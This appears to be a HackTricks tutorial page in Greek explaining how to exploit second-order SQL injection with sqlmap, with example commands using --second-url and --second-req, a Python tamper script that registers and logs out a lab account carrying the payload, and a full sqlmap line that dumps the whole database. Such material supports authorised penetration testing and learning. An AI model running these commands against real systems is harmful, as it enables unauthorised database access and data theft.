Second Order Injection - SQLMap

Support HackTricks

Το SQLMap μπορεί να εκμεταλλευτεί τις Δεύτερης Τάξης SQLi. Πρέπει να παρέχετε:

  • Το αίτημα όπου θα αποθηκευτεί το payload SQL injection

  • Το αίτημα όπου το payload θα εκτελεστεί

Το αίτημα όπου αποθηκεύεται το payload SQL injection είναι υποδεικνυόμενο όπως σε οποιαδήποτε άλλη ένεση στο sqlmap. Το αίτημα όπου το sqlmap μπορεί να διαβάσει την έξοδο/εκτέλεση της ένεσης μπορεί να υποδειχθεί με --second-url ή με --second-req αν χρειάζεται να υποδείξετε ένα πλήρες αίτημα από ένα αρχείο.

Απλό παράδειγμα δεύτερης τάξης:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

Σε πολλές περιπτώσεις αυτό δεν θα είναι αρκετό γιατί θα χρειαστεί να εκτελέσετε άλλες ενέργειες εκτός από την αποστολή του payload και την πρόσβαση σε μια διαφορετική σελίδα.

Όταν αυτό είναι απαραίτητο, μπορείτε να χρησιμοποιήσετε ένα sqlmap tamper. Για παράδειγμα, το παρακάτω σενάριο θα καταχωρήσει έναν νέο χρήστη χρησιμοποιώντας το sqlmap payload ως email και θα αποσυνδεθεί.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Ένα SQLMap tamper εκτελείται πάντα πριν ξεκινήσει μια προσπάθεια έγχυσης με ένα payload και πρέπει να επιστρέφει ένα payload. Σε αυτή την περίπτωση δεν μας ενδιαφέρει το payload αλλά μας ενδιαφέρει να στείλουμε κάποιες αιτήσεις, οπότε το payload δεν αλλάζει.

Έτσι, αν για κάποιο λόγο χρειαστούμε μια πιο σύνθετη ροή για να εκμεταλλευτούμε τη δεύτερη τάξη SQL injection όπως:

  • Δημιουργία λογαριασμού με το SQLi payload μέσα στο πεδίο "email"

  • Αποσύνδεση

  • Σύνδεση με αυτόν τον λογαριασμό (login.txt)

  • Αποστολή αιτήματος για εκτέλεση της SQL injection (second.txt)

Αυτή η γραμμή sqlmap θα βοηθήσει:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Υποστήριξη HackTricks

Last updated